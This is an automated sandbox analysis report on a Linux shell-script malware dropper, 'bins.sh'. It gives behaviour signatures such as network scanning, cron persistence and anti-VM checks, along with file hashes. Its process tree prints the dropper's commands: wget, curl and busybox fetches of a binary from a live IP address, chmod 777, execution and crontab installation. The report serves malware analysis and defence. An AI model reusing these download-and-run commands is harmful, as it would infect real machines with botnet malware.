Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

9

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    06/11/2024, 14:27

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241106-rseq6a1lcz
  • SHA256 9626151a1f5b6c072e8dee0783dc9cec13bcae1372632489402c7ed6322612b2
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2126) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:658
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:660
        • /usr/bin/wget
          wget http://216.126.231.240/bins/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • Writes file to tmp directory
          PID:662
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:684
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • Writes file to tmp directory
          PID:689
        • /bin/chmod
          chmod 777 4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • File and Directory Permissions Modification
          PID:690
        • /tmp/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          ./4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:691
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:693
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:694
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:696
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:698
              • /bin/rm
                rm 4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
                2⤵
                  PID:703
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
                  2⤵
                    PID:707

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
                      • Path /tmp/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
                      • Size 127KB
                      • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      tmp.BhOrFw
                      • Path /var/spool/cron/crontabs/tmp.BhOrFw
                      • Size 210B
                      • SHA256 d261b654311ef8cf300afb15f49fc046345968f1459264c8cd47fc7c79e0ba6b
                      • MD5 SHA1 SHA512
                      Submit Download